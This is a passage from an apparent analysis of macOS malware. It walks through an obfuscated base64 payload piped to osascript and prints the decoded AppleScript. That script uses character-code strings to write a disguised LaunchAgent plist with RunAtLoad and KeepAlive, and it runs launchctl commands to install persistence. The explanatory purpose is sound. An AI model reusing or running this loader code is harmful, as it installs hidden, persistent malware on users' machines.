5LCAxMDMsIDc4LCAxMDYsIDY5LCAxMTUsIDczLCA2OCwgNzcsIDUwLCA3NiwgNjcsIDY1LCA0OCwgNzcsIDY3LCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTIwLCA3NiwgNjcsIDY1LCA1MywgNzksIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2NSwgNDgsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDg0LCA2OSwgMTE1LCA3M30pICYgIkRNeUxDQXpOQ3dnTXpZc0lERXhOQ3dnTXpRc0lETXlMQ0F4TWpRc0lETXlMQ0F4TVRVc0lERXdNU3dnTVQiKSkpICYgKCgoKHN0cmluZyBpZCB7NjUsIDExOSwgNzYsIDY3LCA2NSwgMTIyLCA3NywgMTA1LCAxMTksIDEwMywgNzgsIDY4LCA4NSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc3LCA2NywgMTE5LCAxMDMsIDc3LCAxMjIsIDczLCAxMTUsIDczLCA2OCwgNzcsIDUzLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgODUsIDExNSwgNzMsIDY4LCA4MX0pICYgIjNMQ0EwTml3Z05ESXNJRE0wTENBeE1UUXMiKSAmICgoc3RyaW5nIGlkIHs3MywgNjgsIDY5LCAxMTksIDc3LCA4MywgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDQ5LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgOTksIDExNSwgNzMsIDY4LCA2OSwgMTE5LCA3OSwgNjcsIDExOSwgMTAzLCA3NywgODQsIDY5LCA1MCwgNzYsIDY3LCA2NSwgMTIyLCA3OCwgNjcsIDExOSwgMTAzLCA3OCwgODQsIDEwMywgMTE1LCA3MywgNjgsIDc3LCA0OCwgNzYsIDY3LCA2NSwgNDgsIDc5LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNzMsIDExOX0pICYgKHN0cmluZyBpZCB7NzYsIDY3LCA2NSwgNTMsIDc3LCAxMDUsIDExOSwgMTAzLCA3OCwgNjgsIDY1LCAxMTUsIDczLCA2OCwgMTA3LCAxMjAsIDc2LCA2NywgNjUsIDUzLCA3OCwgNzIsIDQ4LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcyLCA3OCwgNDgsIDk5LCAxMDksIDEwOCwgMTE3LCA5MCwgMTIxLCA2NiwgMTEyLCA5MCwgNjcsIDY2LCA1NSwgNzcsIDEyMiwgODEsIDExNSwgNzMsIDY4LCAxMDcsIDEyMiwgNzYsIDY3LCA2NSwgNDgsIDc3LCAxMDUsIDExOSwgMTAzLCA3OSwgODQsIDczfSkpKSAmICgoInNJRFF4TENBek5Dd2dORFlzSURReUxDQTBOeXdnT1RJc0lEIiAmIChzdHJpbmcgaWQgezgxLCA1MywgNzYsIDY3LCA2NSwgNDgsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMjEsIDc2LCA2NywgNjUsIDEyMiwgNzksIDgzLCAxMTksIDEwMywgNzgsIDY4LCA2OSwgMTE1LCA3MywgNjgsIDg1LCA1MywgNzYsIDY3LCA2NSwgMTIyLCA3NywgMTA1LCAxMTksIDEwMywgNzksIDg0LCA2OSwgMTE1LCA3MywgNjgsIDc3LCAxMjEsIDc2fSkpICYgKChzdHJpbmcgaWQgezY3LCA2NSwgNDgsIDc4LCA4MywgMTE5LCAxMDMsIDc3LCA4NCwgNzMsIDEyMSwgNzYsIDY3LCA2NSwgMTIyLCA3NywgMTA1LCAxMTksIDEwMywgNzcsIDEyMiwgODEsIDExNSwgNzMsIDY4LCA3NywgNTAsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDY4LCA4MX0pICYgKHN0cmluZyBpZCB7MTE1LCA3MywgNjgsIDc3LCA0OCwgNzYsIDY3LCA2NSwgMTIyLCA3NywgMTA1LCAxMTksIDEwMywgNzksIDg0LCA3NywgMTE1LCA3MywgNjgsIDc3LCA1MiwgNzYsIDY3LCA2NSwgMTIyLCA3OSwgNjcsIDExOSwgMTAzLCA3NywgODQsIDY1LCAxMjAsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDEwNiwgNjUsIDExNSwgNzMsIDY4LCA2OSwgMTE5LCA3OCwgODN9KSkpKSkpICYgKCgoKCgid2dNVEUyTENBek1pd2dORGtzSURVNUxDQSIgJiAoc3RyaW5nIGlkIHsxMjIsIDc3LCAxMDUsIDExOSwgMTAzLCA3NywgODQsIDY1LCA1MiwgNzYsIDY3LCA2NSwgNTAsIDc3LCA4MywgMTE5LCAxMDMsIDc3fSkpICYgKChzdHJpbmcgaWQgezEyMiwgODksIDExNSwgNzMsIDY4LCA4MSwgMTE5LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgNzMsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3OCwgNjcsIDExOSwgMTAzLCA3NywgODQsIDY1LCA0OSwgNzYsIDY3LCA2NSwgMTIwLCA3NywgODR9KSAmICJBc0lERXhObjBwS1NBbUlDZ29jM1J5YVc1bklHbGtJSHN4TURJcyIpKSAmICgoIklETXlMQ0F6TkN3Z016Y3NJREV3TUN3Z016UXNJRE15TENBIiAmIChzdHJpbmcgaWQgezEyMiwgNzgsIDY3LCAxMTksIDEwMywgNzgsIDY4LCAxMDMsIDExNSwgNzMsIDY4LCA2OSwgMTIxLCA3NywgNjcsIDExOSwgMTAzLCA3NywgMTIyLCA4OSwgMTE1LCA3MywgNjgsIDY5LCAxMjEsIDc3LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY1LCA0OCwgNzYsIDY3fSkpICYgKChzdHJpbmcgaWQgezY1LCA0OSwgNzksIDY3LCAxMTksIDEwMywgNzgsIDg0LCA4MSwgMTE1LCA3MywgNjgsIDg1LCAxMjEsIDc2LCA2NywgNjUsIDQ5LCA3OSwgNjcsIDExOSwgMTAzLCA3OCwgODQsIDgxLCAxMTUsIDczLCA2OCwgODUsIDEyMSwgNzYsIDY3LCA2NSwgMTIwLCA3NywgMTA2LCA4NX0pICYgKHN0cmluZyBpZCB7MTE1LCA3MywgNjgsIDc3LCA0OCwgNzYsIDY3LCA2NSwgNDgsIDc3LCA4MywgMTE5LCAxMDMsIDc4LCA4NCwgMTA3LCAxMTUsIDczLCA2OCwgNzcsIDEyMSwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjh9KSkpKSAmICgoKChzdHJpbmcgaWQgezY5LCAxMTUsIDczLCA2OCwgMTA3LCA1MywgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDgxLCAxMTUsIDczLCA2OCwgNjksIDEyMCwgNzcsIDgzLCAxMTksIDEwMywgNzcsIDEyMiwgNzMsIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDEyMiwgNzgsIDEwNSwgMTE5LCAxMDMsIDc3LCA4NCwgNzMsIDEyMiwgMTAyLCA4MywgMTA3LCAxMDN9KSAmIChzdHJpbmcgaWQgezc0LCAxMDUsIDY1LCAxMTEsIDk5LCA1MSwgODIsIDEyMSwgOTcsIDg3LCA1MywgMTEwLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNzIsIDExNSwgMTIwLCA3NywgNjgsIDgxLCAxMTV9KSkgJiAoKHN0cmluZyBpZCB7NzMsIDY4LCA4NSwgNTIsIDc2LCA2NywgNjUsIDQ4LCA3OSwgODMsIDExOSwgMTAzLCA3OCwgODQsIDY1LCAxMTUsIDczLCA2OCwgODUsIDUwLCA3NiwgNjcsIDY1LCA0OSwgNzksIDY3LCAxMTksIDEwMywgNzcsIDEyMiwgODksIDExNSwgNzMsIDY4LCA4MSwgMTE5LCA3NiwgNjcsIDY1LCA0OCwgNzcsIDY3LCAxMTksIDEwMywgNzcsIDg0LCA2NSwgNTIsIDc2LCA2NywgNjV9KSAmICIwTWl3Z05UQXNJRFF4TENBME1Td2dNVEkxTENBek5Dd2ciKSkgJiAoKChzdHJpbmcgaWQgezc3LCA4NCwgNzMsIDQ4LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCAxMDYsIDY1LCAxMTUsIDczLCA2OCwgNjksIDEyMSwgNzcsIDY3LCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTE5LCA3NiwgNjcsIDY1LCAxMjIsIDc3LCAxMDUsIDExOSwgMTAzLCA3OCwgNjgsIDg1LCAxMTUsIDczLCA2OCwgNjksIDEyMCwgNzgsIDY3LCAxMTksIDEwMywgNzcsIDEyMiwgNzMsIDExNSwgNzMsIDY4LCA4MX0pICYgIjFMQ0F4TVRKOUtTa3BDZ2tKYVdZZ1gxOTVTblZaVFRreiIpICYgKCJiVzBnYVhNZ2JtOTBJR1Z4ZFdGc0lDSWlJSFJvWlc0Z1pYaHBkQ0J5WlhCbFlYUUtDV1Z1WkNCMGNua0taVyIgJiAiNWtJSEpsY0dWaGRBb0thV1lnWDE5NVNuVlpUVGt6YlcwZyIpKSkpICYgKCgoKChzdHJpbmcgaWQgezk3LCA4OCwgNzcsIDEwMywgOTgsIDEwOSwgNTcsIDQ4LCA3MywgNzEsIDg2LCAxMjAsIDEwMCwgODcsIDcwLCAxMTUsIDczLCA2NywgNzMsIDEwNSwgNzMsIDcyLCA4MiwgMTExLCA5MCwgODcsIDUyLCA3NSwgNjd9KSAmIChzdHJpbmcgaWQgezg4LCA3OCwgMTA4LCAxMDAsIDY3LCA2NiwgMTAyLCA4OCwgNDgsIDEwMCwgNzYsIDg2LCA2OSwgMTA4LCA3OSwgODUsIDUwLCA1NywgOTcsIDg2LCAxMDUsIDY2LCA0OCwgOTgsIDEyMSwgNjUsIDExMSwgNzUsIDcyLCA3OCwgNDgsIDk5LCAxMDksIDEwOCwgMTE3LCA5MCwgMTIxLCA2NiwgMTEyLCA5MCwgNjcsIDY2LCA1NX0pKSAmICgoc3RyaW5nIGlkIHs3OSwgODQsIDEwNywgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDY5LCA0OCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDEwMywgMTE1LCA3MywgNjgsIDc3LCAxMjEsIDc2LCA2NywgNjUsIDQ4LCA3OCwgODMsIDExOSwgMTAzLCA3OCwgNjgsIDg1LCAxMTUsIDczLCA2OCwgMTA3LCA1MywgNzYsIDY3LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTUsIDczfSkgJiAiREV4TUN3Z01URXdMQ0F4TURFc0lEazVMQyIpKSAmICgoKHN0cmluZyBpZCB7NjUsIDEyMCwgNzcsIDg0LCA4OSwgMTE1LCA3MywgNjgsIDgxLCA0OSwgNzYsIDY3LCA2NSwgMTIwLCA3NywgODQsIDg5LCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzgsIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2NX0pICYgKHN0cmluZyBpZCB7NTMsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDY4LCA2OSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc3LCA4MywgMTE5LCAxMDMsIDc3LCA4NCwgNjksIDUxLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgODksIDExNSwgNzMsIDY4LCA3NywgMTIxfSkpICYgKChzdHJpbmcgaWQgezc2LCA2NywgNjUsIDQ5LCA3NywgMTIxLCAxMTksIDEwMywgNzcsIDEyMiwgNzMsIDExNSwgNzMsIDY4LCA4MSwgNDksIDc2LCA2NywgNjUsIDQ4LCA3OCwgODMsIDExOSwgMTAzLCA3NywgODQsIDY1LCA1MywgNzYsIDY3LCA2NSwgNTMsIDc4LCAxMjEsIDExOSwgMTAzLCA3NywgODQsIDczLCAxMTksIDc2LCA2NywgNjUsIDQ4LCA3OCwgODMsIDExOSwgMTAzLCA3NywgODR9KSAmIChzdHJpbmcgaWQgezY5LCA1MCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDg1LCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzksIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2NSwgMTIwLCA3NiwgNjcsIDY1LCAxMjIsIDc3LCAxMDUsIDExOSwgMTAzLCA3OCwgODQsIDY1LCAxMTUsIDczLCA2OCwgODEsIDUyLCA3NiwgNjcsIDY1LCAxMjIsIDc3LCAxMDUsIDExOSwgMTAzLCA3OCwgNjgsIDg1LCAxMTUsIDczLCA2OCwgODEsIDQ5LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA4NCwgODJ9KSkpKSAmICgoKChzdHJpbmcgaWQgezU3LCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMjIsIDEwMCwgNzIsIDc0LCAxMTIsIDk4LCAxMDksIDk5LCAxMDMsIDk3LCA4NywgODEsIDEwMywgMTAxLCAxMjIsIDY5LCAxMTksIDc3LCA4MywgMTE5fSkgJiAiZ01URTJMQ0F4TVRRc0lERXlNU3dnTXpJc0kiKSAmICgoc3RyaW5nIGlkIHs2OCwgODUsIDEyMCwgNzYsIDY3LCA2NSwgMTIyLCA3NywgMTA1LCAxMTksIDEwMywgNzgsIDY4LCA4NSwgMTE1LCA3MywgNjgsIDgxLCA0OSwgNzYsIDY3LCA2NX0pICYgKHN0cmluZyBpZCB7MTIwLCA3NywgODQsIDgxLCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzcsIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2OSwgNTAsIDc2LCA2N30pKSkgJiAoKCJBeE1UUXNJREV5TVN3Z05EVXNJREV3TUN3Z01UQXhMQ0F4TURnc0lEazNMQ0F4TWpFc0lETXlMQ0ExTSIgJiAoc3RyaW5nIGlkIHsxMjEsIDExOSwgMTAzLCA3NywgMTIyLCA3NCwgNTcsIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2NywgMTAzLCAxMTEsIDczLCAxMDUsIDQ4LCAxMDUsIDczLCA2NywgODksIDEwM30pKSAmICgoc3RyaW5nIGlkIHs3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgNTIsIDc5LCA2NywgMTA3LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCAxMDQsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4fSkgJiAoc3RyaW5nIGlkIHs3MywgMTAzLCA5NywgODcsIDgxLCAxMDMsIDc3LCAxMjIsIDczLCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5fSkpKSkpKSkgJiAoKCgoKCIzUmxjaUJwWkNBNE1Da3BLU0FtSUNnb0tFRlRRMGxKSUdOb1lYSmhZMyIgJiAoc3RyaW5nIGlkIHs4MiwgMTA4LCA5OSwgMTA1LCA2NSwgNTEsIDc5LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDEwMywgMTIyLCA3NSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzR9KSkgJiAoImhZM1JsY2lBNE5Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRE15S1NrcEtTQW1JQ2dvS0NoQlUwTkpTU0IiICYgKHN0cmluZyBpZCB7MTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjUsIDQ4LCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMDYsIDk3LCA3MSwgNzAsIDEyMX0pKSkgJiAoKChzdHJpbmcgaWQgezg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDk3LCA4NywgODEsIDEwMywgNzcsIDg0LCA2OSwgNTAsIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4fSkgJiAoc3RyaW5nIGlkIHs3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA4NCwgODksIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzR9KSkgJiAoKHN0cmluZyBpZCB7MTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDg0LCA3MywgMTEyLCA3NX0pICYgKHN0cmluZyBpZCB7ODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNjcsIDEwNCwgNjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2LCAxMDZ9KSkpKSAmICgoKCJhR0Z5WVdOMFpYSWdNVEUxS1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ05UZ3BLU0FtSUNnaUx5SWdKaUEiICYgKHN0cmluZyBpZCB7MTExLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDgxLCA1MSwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjYsIDEyMCwgMTAwLCA4NywgNTcsIDQ4LCA5MCwgODcsIDgxLCAxMDMsIDkwLCAxMDksIDU3fSkpICYgKCJ5YlNCdlppQmZYM2xLZFZsIiAmIChzdHJpbmcgaWQgezc4LCA3OSwgODQsIDc4LCAxMTYsIDk4LCA4MywgNjUsIDEwOSwgNzMsIDY3LCA3MywgMTAzLCA3MywgMTA1LCA2NSwgMTA5LCA3MywgNjcsIDczLCAxMTYsIDkwLCA2NywgNjUsIDEwNSwgNzMsIDY3LCA4OSwgMTAzLCA5OSwgODgsIDg2LCAxMTgsIDEwMCwgNzEsIDg2LCAxMDcsIDczLCA3MSwgOTAsIDExOCwgOTksIDEwOSwgNDgsIDEwMywgOTgsIDUwLCA4OSwgMTAzLCA3NSwgNjcsIDEwMywgMTExfSkpKSAmICgoKHN0cmluZyBpZCB7NzUsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjksIDUwLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OCwgNzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4fSkgJiAoc3RyaW5nIGlkIHs3MywgMTAzLCA3NywgODQsIDczLCAxMTksIDc1LCA4MywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCAxMjAsIDc3LCA2OCwgODUsIDExMiwgNzMsIDY3fSkpICYgKCJZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F4TURBcEtTa2dKaUFvUVZORFNVayIgJiAoc3RyaW5nIGlkIHsxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgODksIDEyMH0pKSkpKSAmICgoKCgoc3RyaW5nIGlkIHs3NSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NiwgMTAyLCA4OCwgNTEsIDY2LCAxMjEsIDc4LCAxMTAsIDcwLCA4OCwgNzksIDg2LCAxMDQsIDcxLCA4NiwgODMsIDY1LCAxMDksIDczLCA2NywgMTAzLCAxMTEsIDczLCAxMDUsIDkwLCAxMDUsIDczLCAxMDUsIDY1LCAxMDksIDczLCA2NywgNzQsIDExNiwgOTgsIDUwLCA4MSwgMTA1LCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTAzLCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwfSkgJiAoc3RyaW5nIGlkIHsxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgNjksIDEyMCwgNzgsIDEyMSwgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMDV9KSkgJiAoKHN0cmluZyBpZCB7OTgsIDcxLCA4NSwgMTA1LCA3NSwgODMsIDEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMTEsIDczLCAxMDUsIDY2LCA1NiwgNzMsIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTA1LCA5OCwgNTEsIDc4LCAxMDQsIDczLCAxMDV9KSAmIChzdHJpbmcgaWQgezEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzF9KSkpICYgKCgoc3RyaW5nIGlkIHs3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjUsIDEyMCwgNzcsIDg0LCA4NSwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY1LCA1MywgNzksIDgzLCAxMDcsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjd9KSAmICJnb0luSWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TURVcEtTQSIpICYgKCJtSUNnb1kyaGhjbUZqZEdWeUlHbGtJREV4TWlrZ0ppQSIgJiAoc3RyaW5nIGlkIHsxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDY5LCAxMjAsIDc4LCAxMDUsIDEwNywgMTEyLCA3NSwgODMsIDEwNywgNzUsIDY3LCA4N30pKSkpICYgKCgiUnZJSE5vWld4c0lITmpjbWx3ZENCZlgwZExWRWxPVTI5YVZncGxibVFnYVdZPScgfCBiYXNlNjQgLWQgfCAiICYgKHN0cmluZyBpZCB7MTExLCAxMTUsIDk3LCAxMTUsIDk5LCAxMTQsIDEwNSwgMTEyLCAxMTYsIDYwLCA0NywgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMn0pKSAmIChzdHJpbmcgaWQgezYwLCA0NywgOTcsIDExNCwgMTE0LCA5NywgMTIxLCA2MiwgMTAsIDMyLCAzMiwgNjAsIDQ3LCAxMDAsIDEwNSwgOTksIDExNiwgNjIsIDEwLCA2MCwgNDcsIDExMiwgMTA4LCAxMDUsIDExNSwgMTE2LCA2MiwgMTAsIDY5LCA3OCwgNjgsIDk1LCA4MCwgNzYsIDczLCA4MywgODQsIDEwfSkpKSkpKQpkbyBzaGVsbCBzY3JpcHQgKChzdHJpbmcgaWQgezEwOCwgOTcsIDExNywgMTEwLCA5OSwgMTA0LCA5OSwgMTE2LCAxMDgsIDMyLCAxMTcsIDExMCwgMTA4LCAxMTEsIDk3LCAxMDAsIDMyLCAxMjYsIDQ3LCA3NiwgMTA1LCA5OCwgMTE0LCA5NywgMTE0LCAxMjEsIDQ3LCA3NiwgOTcsIDExNywgMTEwLCA5OSwgMTA0LCA2NSwgMTAzLCAxMDEsIDExMH0pICYgKHN0cmluZyBpZCB7MTE2LCAxMTUsIDQ3LCA5OSwgMTExLCAxMDksIDQ2LCA2NSwgMTEyLCAxMTIsIDEwOCwgMTAxLCA0NiwgMTAwLCAxMDAsIDEwNiwgMTEwLCAxMDksIDExNywgMTIxLCAxMDksIDExMSwgMTAwLCAxMjIsIDEwNiwgMTA3LCAxMjEsIDExMSwgMTE4LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTYsIDMyLCA1MCwgNjIsIDQ3LCAxMDAsIDEwMSwgMTE4LCA0NywgMTEwLCAxMTcsIDEwOCwgMTA4fSkpCmRvIHNoZWxsIHNjcmlwdCAoKChzdHJpbmcgaWQgezEwOCwgOTcsIDExNywgMTEwLCA5OSwgMTA0LCA5OSwgMTE2LCAxMDgsIDMyLCAxMDgsIDExMSwgOTcsIDEwMCwgMzIsIDEyNiwgNDcsIDc2LCAxMDUsIDk4LCAxMTQsIDk3LCAxMTR9KSAmIChzdHJpbmcgaWQgezEyMSwgNDcsIDc2LCA5NywgMTE3LCAxMTAsIDk5LCAxMDQsIDY1LCAxMDMsIDEwMSwgMTEwLCAxMTYsIDExNSwgNDcsIDk5fSkpICYgKHN0cmluZyBpZCB7MTExLCAxMDksIDQ2LCA2NSwgMTEyLCAxMTIsIDEwOCwgMTAxLCA0NiwgMTAwLCAxMDAsIDEwNiwgMTEwLCAxMDksIDExNywgMTIxLCAxMDksIDExMSwgMTAwLCAxMjIsIDEwNiwgMTA3LCAxMjEsIDExMSwgMTE4LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTZ9KSk=" | base64 -d)"
So, it now piped with osascript, which is a command-line utility built into macOS to execute AppleScrip/JAX. Example, if you run:
osascript -e 'tell application "Google Chrome" to make window with properties {mode:"incognito"}'

It’ll open Google Chrome with an incognito tab.
So here too, the malware script is trying to run something via osascript. The script is again base64 encoded (base64 -d at the end), so decoding the script returns:
set _qA02PopR to (204 + 938) * 9
set _A9kOSIGy to (185 + 53) * 8
set __yZkznfx to "bUeSuepwDXElhrXOiQpE"
set __C95wtjC3uW to "hrGkjPYPLLDTU8zQI"
property _H6kmom5 : "u4YwMUIU5"
set __tukAsKzUSbr to 55212
property __MFP4nUb5M : "YleA2Mt6rA"
do shell script (((((((((string id {10, 109, 107, 100, 105, 114, 32, 45, 112, 32, 34, 36, 72, 79, 77, 69, 47, 76, 105, 98, 114, 97, 114, 121, 47, 76, 97, 117, 110, 99, 104, 65, 103, 101}) & (string id {110, 116, 115, 34, 59, 10, 99, 97, 116, 32, 62, 32, 34, 36, 72, 79, 77, 69, 47, 76, 105, 98, 114, 97, 114, 121, 47, 76, 97, 117, 110, 99, 104, 65, 103, 101, 110, 116})) & ((string id {115, 47, 99, 111, 109, 46, 65, 112, 112, 108, 101, 46, 100, 100, 106, 110, 109, 117, 121, 109, 111, 100, 122, 106, 107, 121, 111, 118, 46, 112, 108, 105, 115, 116, 34, 32, 60, 60, 69, 78, 68, 95, 80, 76, 73, 83, 84, 10, 60, 63, 120, 109, 108, 32, 118, 101}) & (string id {114, 115, 105, 111, 110, 61, 34, 49, 46, 48, 34, 32, 101, 110, 99, 111, 100, 105, 110, 103, 61, 34, 85, 84, 70, 45, 56, 34, 63, 62, 10, 60, 33, 68, 79, 67, 84, 89, 80, 69, 32, 112}))) & (((string id {108, 105, 115, 116, 32, 80, 85, 66, 76, 73, 67, 32, 34, 45, 47, 47, 65, 112, 112, 108, 101, 32, 67, 111, 109, 112, 117, 116, 101, 114, 47, 47, 68, 84, 68, 32, 80, 76, 73, 83, 84, 32, 49, 46, 48, 47, 47, 69, 78, 34, 32, 34, 104}) & (string id {116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 97, 112, 112, 108, 101, 46, 99})) & ((string id {111, 109, 47, 68, 84, 68, 115, 47, 80, 114, 111, 112, 101, 114, 116, 121, 76, 105, 115, 116, 45, 49, 46, 48, 46, 100, 116, 100, 34, 62, 10, 60, 112, 108, 105, 115, 116, 32, 118}) & (string id {101, 114, 115, 105, 111, 110, 61, 34, 49, 46, 48, 34, 62, 10, 32, 32, 60, 100, 105, 99})))) & ((((string id {116, 62, 10, 32, 32, 32, 32, 60, 107, 101, 121, 62, 76, 97, 98, 101, 108, 60, 47, 107, 101, 121, 62, 10, 32, 32, 32, 32, 60, 115, 116, 114, 105, 110, 103, 62, 99, 111, 109}) & (string id {46, 65, 112, 112, 108, 101, 46, 100, 100, 106, 110, 109, 117, 121, 109, 111, 100, 122, 106, 107, 121, 111, 118, 60, 47, 115, 116, 114, 105, 110, 103, 62, 10, 32, 32})) & ((string id {32, 32, 60, 107, 101, 121, 62, 75, 101, 101, 112, 65, 108, 105, 118, 101, 60, 47, 107, 101, 121, 62, 10, 32, 32, 32, 32, 60, 116, 114, 117, 101, 47, 62, 10, 32, 32, 32, 32, 60}) & (string id {107, 101, 121, 62, 82, 117, 110, 65, 116, 76, 111, 97, 100, 60, 47, 107, 101, 121, 62, 10, 32, 32, 32, 32, 60, 116, 114, 117, 